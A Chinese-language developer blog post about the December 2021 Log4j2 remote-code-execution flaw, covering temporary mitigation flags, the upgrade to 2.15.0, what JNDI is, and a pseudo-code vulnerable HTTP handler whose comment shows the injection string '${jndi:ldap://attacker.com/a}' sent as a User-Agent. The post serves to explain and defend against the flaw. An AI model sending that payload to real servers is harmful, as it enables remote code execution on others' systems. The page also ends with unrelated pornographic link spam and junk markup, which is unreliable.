<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          我鮳!Log4j2突發(fā)重大漏洞,我們也中招了。。

          共 726字,需瀏覽 2分鐘

           ·

          2021-12-14 08:32

          長話短說吧。

          相信大家已經(jīng)被 Log4j2 的重大漏洞刷屏了,估計有不少小伙伴此前為了修 bug 已經(jīng)累趴下了。很不幸,我的小老弟小二的 Spring Boot 項目中恰好用的就是 Log4j2,版本特喵的還是 2.14.1,在這次漏洞波及的版本范圍之內(nèi)。

          第一時間從網(wǎng)上得知這個漏洞的消息后,小二嚇尿了。趕緊跑過來問老王怎么解決。

          老王先是給小二提供了一些臨時性的建議,比如說:

          JVM?參數(shù)添加?-Dlog4j2.formatMsgNoLookups=true
          log4j2.formatMsgNoLookups=True
          FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS?設(shè)置為true

          此后,老王時刻關(guān)注著 Log4j2 的官網(wǎng)和 Spring Boot GitHub 倉庫的最新消息。

          Java 后端開發(fā)的小伙伴應(yīng)該都知道,Log4j、SLF4J、Logback 這 3 個日志組件是一個爹——Ceki Gulcu,但 Log4j 2 卻是例外,它是 Apache 基金會的產(chǎn)品。

          Ps:老王曾吹過的 Log4j2:起飛了!高性能日志記錄工具 Log4j 2

          所以這波超級高危漏洞的鍋必須得由 Apache 來背。并且波及范圍非常廣,已知受影響的應(yīng)用程序和組件有:

          • Spring-boot-strater-log4j2
          • Apache Solr
          • Apache Flink
          • Apache Druid

          并且只要是在 Log4j 2.x <= 2.14.1 之間的版本,都將受到影響——注定被載入史冊的一波 bug 啊。

          目前,Log4j2 的官網(wǎng)已經(jīng)發(fā)布了 Log4j2 2.15.0 正式版,來解決此次漏洞。

          那隨著 Log4j2 2.15.0 正式版的發(fā)布,Spring Boot 的 GitHub 倉庫提的這些關(guān)于 Log4j2 的 issue 都已經(jīng)處于關(guān)閉狀態(tài)了。

          看到這些消息后,老王緊張的情緒一下子就緩解了下來,就像吃了一顆定心丸,趕緊去通知小二不用再提心吊膽了,直接一行代碼搞定。


          ????2.15.0

          詳情可參照 Spring Boot 官方這篇博客:

          https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot

          Gradle 構(gòu)建的項目也有解決方案。

          問題是解決了,不過老王沒閑著。他從 Log4j2 官網(wǎng)公布的最新消息中琢磨出,本次遠(yuǎn)程代碼執(zhí)行漏洞正是由于組件存在 Java JNDI 注入漏洞:當(dāng)程序?qū)⒂脩糨斎氲臄?shù)據(jù)記錄到日志時,攻擊者通過構(gòu)造特殊請求,來觸發(fā) Apache Log4j2 中的遠(yuǎn)程代碼執(zhí)行漏洞,從而利用此漏洞在目標(biāo)服務(wù)器上執(zhí)行任意代碼。

          那肯定會有小伙伴在好奇 JNDI 是什么東東?來看一下維基百科的解釋。

          Java命名和目錄接口(Java Naming and Directory Interface,縮寫JNDI),是Java的一個目錄服務(wù)應(yīng)用程序接口(API),它提供一個目錄系統(tǒng),并將服務(wù)名稱與對象關(guān)聯(lián)起來,從而使得開發(fā)人員在開發(fā)過程中可以使用名稱來訪問對象。

          利用下面這段代碼,攻擊者可以通過JNDI來執(zhí)行LDAP協(xié)議來注入一些非法的可執(zhí)行代碼。

          public?class?VulnerableLog4jExampleHandler?implements?HttpHandler?{
          ????static?Logger?log?=?Logger.getLogger(log4jExample.class.getName());
          ????/**
          ?????*?A?simple?HTTP?endpoint?that?reads?the?request's?User?Agent?and?logs?it?back.
          ?????*
          ?????*?This?is?basically?pseudo-code?to?explain?the?vulnerability,?and?not?a?full?example.
          ?????*
          ?????*?@param?he?HTTP?Request?Object
          ?????*/

          ????public?void?handle(HttpExchange?he)?throws?IOException?{
          ????????String?userAgent?=?he.getRequestHeader("user-agent");
          //?This?line?triggers?the?RCE?by?logging?the?attacker-controlled?HTTP?User?Agent?header.
          //?The?attacker?can?set?their?User-Agent?header?to:?${jndi:ldap://attacker.com/a}
          ????????log.info("Request?User?Agent:"?+?userAgent);
          ????????String?response?=?"

          Hello?There,?"?+?userAgent?+?"!

          "
          ;
          ????????he.sendResponseHeaders(200,?response.length());
          ????????OutputStream?os?=?he.getResponseBody();
          ????????os.write(response.getBytes());
          ????????os.close();
          ????}
          }

          具體的攻擊手段可以參考這里:

          https://github.com/apache/pulsar/issues/13232

          下圖是程序猿阿朗畫的簡單的攻擊鏈路步驟圖。

          圖片來自于程序猿阿朗

          感興趣的小伙伴可以在本地復(fù)現(xiàn)一下,但千萬不要不當(dāng)利用哦!

          再次提醒大家一下,排查自己的項目是否引入了 Apache log4j-core Jar 包。

          如果存在依賴引入,且在受影響版本范圍內(nèi),請升級到 Apache Log4j2 ?2.15.0 版本,目前已經(jīng) release。


          沒有什么使我停留——除了目的,縱然岸旁有玫瑰、有綠蔭、有寧靜的港灣,我是不系之舟。

          推薦閱讀

          瀏覽 55
          點贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  淫色淫香网站 | 男女啪啪国产免费网站 | 丰满熟妇中文字幕精品 | 大香蕉俺去也 | 天天日日天天干 |